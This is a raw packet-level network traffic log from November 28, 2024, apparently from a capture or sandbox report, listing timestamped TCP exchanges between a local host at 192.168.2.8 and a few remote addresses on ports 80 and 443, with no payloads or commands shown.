Nov 28, 2024 08:55:49.315260887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.315326929 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.315996885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.316065073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.316097021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.316119909 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.317086935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.317148924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.317285061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.317326069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.318619967 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.318675041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.318840981 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.319011927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.319421053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.319472075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.319473982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.319574118 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.320338964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.320353031 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.320396900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.321490049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.321537971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.475663900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.475761890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.475773096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.475857019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.476206064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.476314068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.476362944 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.477179050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.477238894 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.477248907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.477287054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.478681087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.478770971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.478853941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.478950024 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.479368925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.479422092 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.479506969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.479546070 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.480523109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.480575085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.480648994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.480722904 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.481489897 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.481553078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.481564999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.481621027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.482311964 CET	443	49791	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:49.482605934 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.482623100 CET	49791	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:49.482651949 CET	443	49791	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:49.482660055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.482665062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.482712030 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.483649015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.483705997 CET	443	49791	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:49.483771086 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.483772039 CET	49791	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:49.483947039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.484133959 CET	49791	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:49.484149933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.484196901 CET	443	49791	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:49.484719992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.484766960 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.484945059 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.484996080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.485805988 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.485888958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.486248970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.486397028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.486933947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.486987114 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.487124920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.487173080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.488164902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.488239050 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.488395929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.488480091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.489125013 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.489171982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.489264965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.489381075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.490168095 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.490257978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.490274906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.490313053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.491215944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.491275072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.491301060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.491403103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.492295027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.492350101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.492744923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.492811918 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.493374109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.493418932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.493483067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.493521929 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.494462013 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.494524002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.494528055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.494568110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.495507002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.495568991 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.495574951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.495618105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.496615887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.496711016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.496917009 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.496969938 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.497670889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.497783899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.497821093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.497894049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.498733044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.498780966 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.498816967 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.498903990 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.499804974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.499857903 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.500058889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.500158072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.500910997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.501023054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.501049995 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.501075983 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.502021074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.502084970 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.502149105 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.502223015 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.503076077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.503133059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.504143953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.504188061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.504235983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.504246950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.504277945 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.504296064 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.505217075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.505266905 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.505798101 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.505850077 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.506364107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.506376028 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.506418943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.507426023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.507452011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.507503986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.507535934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.508481979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.508524895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.508677006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.508724928 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.509605885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.509675980 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.509891987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.509933949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.510607958 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.510682106 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.510812998 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.510858059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.511912107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.511957884 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.512382984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.512567997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.512742043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.512933969 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.513014078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.513111115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.513861895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.513922930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.513972998 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.514029980 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.514106989 CET	443	49793	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:49.514970064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.515008926 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.515583992 CET	49793	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:49.515609980 CET	443	49793	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:49.516040087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.516139984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.516153097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.516165018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.516191006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.516211033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.516531944 CET	443	49793	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:49.516597033 CET	49793	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:49.516931057 CET	49793	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:49.516992092 CET	443	49793	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:49.517177105 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.517188072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.517229080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.517249107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.517585039 CET	443	49789	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:49.517929077 CET	49789	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:49.517937899 CET	443	49789	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:49.518280029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.518291950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.518310070 CET	443	49789	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:49.518337965 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.518378973 CET	49789	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:49.519089937 CET	443	49789	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:49.519153118 CET	49789	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:49.519316912 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.519433022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.520221949 CET	49789	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:49.520292997 CET	443	49789	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:49.520428896 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.520442009 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.520482063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.520548105 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.520596027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.520611048 CET	49789	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:49.520617962 CET	443	49789	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:49.520653963 CET	49789	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:49.521451950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.521511078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.521570921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.521616936 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.522520065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.522582054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.522754908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.522824049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.523619890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.523684978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.523695946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.523739100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.524671078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.524718046 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.524974108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.525098085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.525744915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.525758028 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.525803089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.526835918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.526933908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.526990891 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.527964115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.527975082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.528027058 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.528987885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.529045105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.529428959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.529483080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.530057907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.530103922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.530144930 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.530186892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.531142950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.531191111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.531845093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.531904936 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.532111883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.532160044 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.535064936 CET	49791	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:49.535072088 CET	443	49791	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:49.559559107 CET	443	49792	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:49.559875965 CET	49792	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:49.559887886 CET	443	49792	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:49.560950041 CET	443	49792	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:49.561012030 CET	49792	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:49.561662912 CET	49792	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:49.561731100 CET	443	49792	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:49.563333035 CET	443	49789	65.52.241.40	192.168.2.8
Nov 28, 2024 08:55:49.566085100 CET	49789	443	192.168.2.8	65.52.241.40
Nov 28, 2024 08:55:49.566111088 CET	49793	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:49.566122055 CET	443	49793	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:49.581211090 CET	49791	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:49.614321947 CET	49792	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:49.614331961 CET	443	49792	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:49.614337921 CET	49793	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:49.661587954 CET	49792	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:49.685976982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.686075926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.686104059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.686543941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.686592102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.686619043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.686645985 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.687611103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.687798023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.687808037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.687871933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.688708067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.688822031 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.689121962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.689765930 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.689834118 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.689992905 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.690855980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.690910101 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.691040039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.691988945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.692015886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.692138910 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.693043947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.693094015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.693242073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.694200039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.694211960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.694314957 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.695189953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.695202112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.695331097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.696413994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.696479082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.696620941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.697453976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.697494984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.697576046 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.698477030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.698488951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.698647022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.699502945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.699635983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.699650049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.699708939 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.700664997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.700678110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.700716019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.700737000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.701664925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.701761007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.702014923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.702786922 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.702912092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.702935934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.703672886 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.703838110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.703919888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.704119921 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.704920053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.704973936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.705302954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.705952883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.706017971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:49.706245899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:49.707087040 CET	80	49748	185.215.113.206	192.168.2.8
